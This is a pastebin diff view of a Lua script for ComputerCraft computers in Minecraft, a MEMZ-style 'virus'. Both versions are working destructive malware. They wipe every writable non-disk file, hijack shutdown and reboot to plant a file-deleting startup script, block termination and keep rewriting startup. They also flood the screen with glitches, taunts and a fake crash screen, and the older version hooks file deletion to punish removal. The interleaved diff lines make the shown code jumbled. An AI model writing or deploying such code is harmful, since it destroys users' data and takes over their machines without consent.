View difference between Paste ID: Hj4iU3iV and xUb8Vh4f

 if fs.exists('startup') then
     fs.delete('startup')
 end
 
 local keysheld = {
 }
 
 for num = 1, #keys do
 	keysheld[num] = false
 end
 
 _G.debug = nil
 
 if fs.exists('startup.lua') then
     fs.delete('startup.lua')
 end
 
 function forceset()
     while true do
-local filecontents = {
+
-    'os.pullEvent = os.pullEventRaw',
+
-    'local width, height = term.getSize()',
+
-    'term.setBackgroundColor(colors.black)',
+
-    'term.clear()',
+
-    'term.setTextColor(colors.gray)',
+
-    "local text = 'Sorry I was too lazy to program'",
+
-    "local text2 = 'nyan cat lol'",
+
-    'term.setCursorPos((width/2)-(#text/2),height/2)',
+
-    'write(text)',
+
-    'term.setCursorPos((width/2)-(#text2/2),(height/2)+1)',
+local filecontents = "os.pullEvent = os.pullEventRaw\nfor i,v in pairs(fs.list('/')) do\nif not fs.isReadOnly(v) and not fs.find(v,'disk') and v ~= 'startup' then\nfs.delete(v)\nend\nend\nlocal width, height = term.getSize()\nterm.setBackgroundColor(colors.black)\nterm.clear()\nterm.setTextColor(colors.white)\nlocal text = string.char(2)\nterm.setCursorPos((width/2)-(#text/2),height/2)\nwrite(text)\nwhile true do sleep() end"
-    'write(text2)',
+
-    'while true do sleep() end',
+local function filekill()
 	for i,v in pairs(fs.list('/')) do
-local file = fs.open('startup','w')
+		if not fs.isReadOnly(v) and fs.getDrive(v) == nil and v ~= 'startup' then
-for i,v in ipairs(filecontents) do
+			fs.delete(v)
-    file.writeLine(v)
+		end
 	end
-file.close()
+
 
 local file
 
 local function startupgen()
 	file = fs.open('startup','w')
 	if file then
 	file.write(filecontents)
 	file.close()
 	end
 	sleep()
 end
 
 local oldshutdown = os.shutdown
 
 local function newshutdown()
 	startupgen()
 	filekill()
 	oldshutdown()
 end
 
 os.shutdown = newshutdown
 
 local oldreboot = os.reboot
 
-print('Trying to delete startup will cause your system to')
+local function newreboot()
-print("be destroyed instantly, so don't try it :D")
+	startupgen()
 	filekill()
-print('(Running the virus a second time will also')
+	oldreboot()
-print('trigger this)')
+
-local olddel = fs.delete
+
 os.reboot = newreboot
-function newdel(file)
+
-    if file ~= 'startup' then
+function keycheck()
-        return olddel(file)
+	while true do
-    else
+		local ev = {coroutine.yield()}
-        local killtimer = 0
+		if ev[1] == 'key' then
-        local messagelist = {
+			keysheld[ev[2]] = true
-            'you fucked up',
+		elseif ev[1] == 'key_up' then
-            'get rekt     ',
+			keysheld[ev[2]] = false
-            'lol          ',
+		end
-            'your mom gay ',
+		if keysheld[29] or keysheld[157] then
-            'rip your data',
+			if keysheld[19] then
-        }
+				os.reboot()
-        while true do
+			elseif keysheld[31] then
-            sleep()
+				os.shutdown()
-            killtimer = killtimer + 1
+			end
-            local x = math.random(1,width-13)
+		end
-            local y = math.random(1,height-1)
+	end
 end
 
 term.setBackgroundColor(colors.white)
-            write(' MEMZ        ')
+
 os.pullEvent = os.pullEventRaw
 term.clear()
-            write(messagelist[math.random(1,#messagelist)])
+
-            if killtimer >= 100 then
+
-                os.shutdown()
+
 write(' note.txt - Notepad')
 term.setCursorPos(width,1)
 term.setTextColor(colors.black)
 term.setBackgroundColor(colors.red)
 write('X')
-fs.delete = newdel
+
 term.setCursorPos(1,2)
-local oldmv = fs.move
+
 term.setTextColor(colors.gray)
-local function newmv(name,name2)
+
-    if name ~= 'startup' then
+
-        return oldmv(name,name2)
+
-    else
+
-        fs.delete('startup')
+
 print('')
 print(':D')
 
-fs.move = oldmv
+local function clickcheck()
 	repeat
-repeat
+	    _, m, x, y = os.pullEvent('mouse_click')
-    _, m, x, y = os.pullEvent('mouse_click')
+	until y == 1 and x == width
-until y == 1 and x == width
+
 
 parallel.waitForAny(clickcheck,keycheck)
 
 local function payloads()
 	term.redirect(term.native())
     local timer = 0
     while true do
         sleep()
         timer = timer + 1
 		if timer < 2300 then
         if timer%30 == 0 and timer > 200 then
             term.setPaletteColor(2^math.random(0,15),math.random(1,999999))
         end
         if timer%100 == 0 and timer > 300 then
             local x, y = term.getCursorPos()
             local xoff = math.random(-1,1)
             local yoff = math.random(-1,1)
             if x + xoff > 0 and x + xoff < width then
                 x = x + xoff
             end
             if y + yoff > 0 and y + yoff < height then
                 y = y + yoff
             end
             term.setCursorPos(x,y)
         end
         local waittime = math.floor(40 - ((timer-600)/10))
         if waittime < 1 then
             waittime = 1
         end
         if timer%(waittime) == 0 and timer > 600 then
             local x, y = term.getCursorPos()
             local oldcolor1 = term.getTextColor()
             local oldcolor2 = term.getBackgroundColor()
             term.setCursorPos(math.random(1,width),math.random(1,height))
             term.setTextColor(2^math.random(0,15))
             term.setBackgroundColor(2^math.random(0,15))
             write((string.char(math.random(100,200))))
             term.setCursorPos(x,y)
             term.setTextColor(oldcolor1)
             term.setBackgroundColor(oldcolor2)
         end
         if timer > 700 and timer%100==0 then
             local ox, oy = term.getCursorPos()
             local color1 = term.getTextColor()
             local color2 = term.getBackgroundColor()
             local x = math.random(1,(width-26))
             local y = math.random(1,(height-2))
             term.setTextColor(colors.black)
             term.setBackgroundColor(colors.lightBlue)
             term.setCursorPos(x,y)
             write(' lol                      ')
             term.setBackgroundColor(colors.white)
             term.setCursorPos(x,y+1)
             write('Still using this computer?')
             term.setCursorPos(ox,oy)
             term.setTextColor(color1)
             term.setBackgroundColor(color2)
         end
         if timer > 2000 and timer%2==0 then
             for colort = 0,15 do
                 term.setPaletteColor(2^colort,math.random(1,999999))
             end
             for _ = 1,10 do
                 term.setCursorPos(math.random(1,width),math.random(1,height))
                 term.setBackgroundColor(2^math.random(1,15))
                 term.setTextColor(2^math.random(1,15))
                 write(string.char(math.random(1,255)))
                 term.setCursorPos(math.random(1,width),math.random(1,height))
             end
             local speakers = {peripheral.find('speaker')}
             for i,v in pairs(speakers) do
                 v.playNote('harp',math.random(1,10),math.random(1,10))
             end
         end
 		else
 			term.setPaletteColor(1,0xF0F0F0)
 			term.setPaletteColor(2048,0x3366CC)
 			term.setBackgroundColor(colors.blue)
 			term.setCursorBlink(false)
 			term.clear()
 			term.setTextColor(colors.white)
 			term.setCursorPos(1,1)
 			local text = {
-parallel.waitForAll(payloads,shelljump,forceset)
+				'A problem has been detected and the system shut down.',
 				'',
 				'COMPUTER_UTTERLY_FUCKED',
 				'',
 				"If this is the first time you've seen",
 				'this error screen, then your computer is trashed.',
 				'',
 				"If this is not your first time you've seen this",
 				'error screen, then why did you do this again?',
 				'',
 				'Fake technical information:',
 				'',
 				'**STOP 0x90019381D',
 				'Dumping computer files...',
 				'',
 				'',
 				'Press any key to reboot . . .',
 			}
 			for i,v in ipairs(text) do
 				sleep(0.45)
 				print(v)
 			end
 			term.setCursorBlink(true)
 			os.pullEvent('key')
 			os.reboot()
 		end
     end
 end
 
 local function shelljump()
     while true do
         term.setBackgroundColor(colors.black)
         term.clear()
         term.setCursorPos(1,1)
         term.setTextColor(colors.white)
         shell.run('shell')
     end
 end
 
 local function startlock()
 	while true do
 		if fs.exists('startup') then
 			fs.delete('startup')
 		elseif fs.exists('startup.lua') then
 			fs.delete('startup.lua')
 		end
 		startupgen()
 	end
 end
 
 parallel.waitForAll(payloads,shelljump,forceset,keycheck,startlock)